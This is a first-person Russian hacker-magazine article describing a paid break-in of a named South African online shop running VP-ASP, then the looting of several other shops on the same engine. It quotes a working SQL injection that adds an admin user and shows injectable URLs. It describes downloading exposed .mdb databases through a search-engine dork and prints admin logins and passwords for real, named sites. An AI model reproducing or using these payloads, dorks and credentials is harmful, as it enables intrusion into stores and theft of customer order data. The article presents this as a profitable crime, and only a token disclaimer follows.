Проводить успешные атаки на крупные сайты становится все сложнее. Причина
банальна: их владельцы стараются вовремя апдейтить софт, не оставляя хакерам
никаких шансов. Так есть ли смысл долбиться головой о стену, пытаясь в очередной
раз раскрутить полуживой баг в популярном интернет-магазине? Или эффективнее
собрать «с миру по нитке», сломав малоизвестный движок, а затем опустошить
десяток шопов, работающих на нем? Ответ на этот вопрос можно получить лишь на
практике. Впрочем, обо всем по порядку.

 

Маленький заказ

Весна была в самом разгаре. Теплые дни располагали к ежедневному
круглосуточному распитию пива, и думать о работе категорически не хотелось.
Вернувшись вечером домой с очередной гулянки, я обнаружил в асе сообщение от
своего знакомого – предложение немного подзаработать. Прикинув незавидное
финансовое положение, грядущее лето и приближающуюся сессию, я таки переборол
лень и отписал товарищу: «Oк. Жду».

Ждать долго не пришлось. Уже через несколько минут меня ввели в курс дела.
Суть заказа была такова: клиента интересовал зарубежный шоп, располагающийся по
адресу http://hoffmans.co.za. От меня требовалось предоставить БД заказов и, по
возможности, онлайн-доступ к панели управления магазином. Что ж, задача
обыденная, посему за работу я принялся сразу, но без особого энтузиазма.

Первым делом было решено пробить ресурсы, располагающиеся на том же сервере,
что и интересующий меня шоп. Умерший www.domainsdb.net не сулил ничего хорошего,
поэтому я зашел на http://gibs0n.name. В поле «Host information:» вбил урл
интернет-магазина, выбрал функцию «Reverse» и нажал <Enter>. Результат предстал
моему взору через пару секунд. Как оказалось, но сервере хостилось около сотни
ресурсов, причем, подавляющее большинство доменов находилось в доменной зоне ЮАР
– .za. Перебирать ресурсы вручную абсолютно не хотелось, а запускать сканер пока
не имело смысла. Открыв в браузере новую вкладку, я зашел на http://hoffmans.co.za
и начал изучать сайт. Шоп крутился на asp-движке под названием «VP-ASP Shopping
Cart». Погуляв по гуглу, я откопал прошлогодний эксплойт на милворме – он был
написан неким tracewar’ом:

The SQL Injection bug is in the shopcurrency.asp
file under the "cid" query.

quick hack to add user a/a:

/shopcurrency.asp?cid=AUD';insert into tbluser
("fldusername","fldpassword","fldaccess") values
('a','a','1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
17,18,19,20,21,22,23,24,25,26,27,28,29')--

and for those of you that don't know sql at all
this is how you remove the user 'a':

/shopcurrency.asp?cid=AUD';delete from tbluser
where fldusername='a'--

Суть багги заключалась в простой sql-инъекции (в скрипте shopcurrency.asp), с
помощью которой без труда можно было добавлять новых юзеров с правами
администратора в БД. Для этого достаточно составить запрос вида:

insert into tbluser ("fldusername","fldpassword","fldaccess")
values ('логин','пароль','1,2,3,4,5,6,7,8,9,10,11,12,13,14,
15,16,17,18,19,20,21,22,23,24,25,26,27,28,29')--

Удалить созданного юзера можно было с помощью следующего запроса:

delete from tbluser where fldusername='логин'--

Довольно улыбаясь, я вернулся к атакуемому шопу, составил sql-запрос и
обновил страницу. Увы, меня ждал облом – скрипт shopcurrency.asp на сервере
отсутствовал. Поразмыслив, я пришел к выводу, что имею дело с другой версией
движка. Такого поворота я не ожидал, но сдаваться было еще рано. Прошерстив двиг
вручную, я обнаружил пару SQL-инъектов. Первый – в скрипте поиска
ShopDisplayproducts.asp:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC Microsoft Access Driver]
Syntax error in query expression '( ( cname Like '%ghhj'%'
OR cdescription Like '%ghhj'%' OR ccode Like '%ghhj'%'
OR mfg Like '%ghhj'%' ))'.

Причем, значения параметров передавались POST-методом. Второй инъект было
нетрудно заметить, перейдя по линку:

http://hoffmans.co.za/shopdisplayproducts.asp?id=7&subcat=16%27&cat=Other+Chicken+Portions

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC Microsoft Access Driver] Syntax error in string
in query expression 'ccategory = 7 AND SubcategoryID=16'
Order By specialOffer DESC, cname'.

Из текста сообщения об ошибке стало понятно, что двиг использует Microsoft
Access, а значит, с реализацией инъекта будут проблемы. В такой ситуации я решил
на время отложить обе баги и просканировать ресурс на наличие открытых для
чтения директорий и доступных для скачивания файлов .mdb. Набросав небольшой
файлик с интересующими меня названиями каталогов/файлов, я запустил сканер с
удаленного сервера, а затем удалился восвояси. Вернувшись в Сеть через несколько
часов, я обнаружил, что сканирование успешно завершено. Я проанализировал лог и
выбрал из него всего одну строчку:

http://hoffmans.co.za/shopping.mdb

Вбив урл в адресной строке и перейдя по нему, я успешно слил увесистый файлик
shopping.mdb, а затем принялся изучать его содержимое. Прежде всего, меня
интересовала таблица «tblUser», в которой оказалось две полезные для меня
записи:

fldUserName fldPassword fldAccess
mike sweet 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
miki sweet 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18

Как видно из БД, в шопе использовалось два админских аккаунта с одинаковым
пассом и уровнем доступа. Кстати, поле «fldAccess» характеризовало возможные
действия (права) пользователя:

1. shopa_displayorders.asp — Display orders
2. shopa_editdisplay.asp?table=categories — View/Update Categories
3. shopa_editdisplay.asp?table=products — View/Update Products
4. shopa_editdisplay.asp?table=mycompany — View/Update Your Company Information

5. shopa_editdisplay.asp?table=customers — View/Update Customers
6. shopa_editdisplay.asp?table=ProdFeatures — View/Update Product Features
7. shopa_editdisplay.asp?table=subcategories — View/Update Subcategories
8. shopa_editdisplay.asp?table=orders — View/Update Orders
9. shopa_query.asp — Advanced Query
10. shopa_user_control.asp — Add/Delete Users
11. shopa_menu_control.asp — Menus for administrators
12. shopa_loghist.asp — View Login history
13. shopa_editdisplay.asp?table=shipmethods — View/Update Shipping
14. shopa_reports.asp — Sales Reports by Date
15. shopa_stock.asp — Stock Low Reports
16. shopa_searchreports.asp — Display search keywords
17. shopa_affreports.asp — Affiliate Reports
18. shopa_editdisplay.asp?table=affiliates — View/Update Affiliates

К счастью, у обоих админов никаких ограничений в правах не стояло, чем я и
воспользовался :). Админка располагалась по адресу:

http://hoffmans.co.za/shopadmin.asp

Выбрав из БД первый аккаунт – mike:sweet, я успешно залогинился в панели
управления интернет-магазином. В широком списке разделов меню особенно
порадовала заботливо созданная возможность бэкапа данных и просмотра информации
о заказах. Впрочем, весь файл базы был уже у меня на винте, так что ковыряние в
админке представляло чисто спортивный интерес. Дождавшись заказчика, я передал
ему базу совместно с админскими аккаунтами и получил обещанный гонорар.
Казалось, работа сделана и можно спокойно отдыхать. Однако, все самое интересное
было впереди!

 

Массовый грабеж

После того, как достаточно простым способом я поимел шоп http://hoffmans.co.za,
мне пришла в голову идея поискать интернет-магазы на таком же движке. Несмотря
на то, что запрос в Гугле вида:

inurl:shopping + filetype:mdb

в целом, не дал положительного результата, я все же отрыл несколько
аналогичных шопов. В качестве примера можно привести ресурс www.marzoinc.com.
Двиг располагался в каталоге /shopping и путь до базы выглядел так:

www.marzoinc.com/shopping/shopping.mdb

Выдрав админский аккаунт «marzoadmin:123mzo», я без труда залогинился в
панели, но ничего интересного для себя не нашел. Похожая ситуация произошла и с
шопом www.pinstripepromo.com (если не считать, что двиг был залит в каталог /gobain).
Слив БД с сервера www.pinstripepromo.com/gobain/shopping.mdb, я тихо удалился с
места происшествия. Это далеко не весь перечень сайтов, на которых стояла бажная
версия шопа. Выкладывать все адреса на блюдечке я не стану, кто ищет – тот
найдет.

Несмотря на то, что версия движка на разграбленных шопах была далеко не
последней, они все функционировали и имели свои небольшие БД со всякими
вкусностями. Так что – делай выводы.

 

Danger

Внимание! Информация представлена исключительно с целью ознакомления! Ни
автор, ни редакция за твои действия ответственности не несет!


Полную версию статьи
читай в июньском номере
Хакера!
На нашем DVD-диске ты найдешь полное видео к статье, так что запасись попкорном.
Приятного просмотра.

Оставить мнение

Check Also

Android: инструменты пентестера, уязвимости экрана блокировки iOS и множество советов по Kotlin

Сегодня в выпуске: десять инструментов пентестера, уязвимости экрана блокировки iOS, взлом…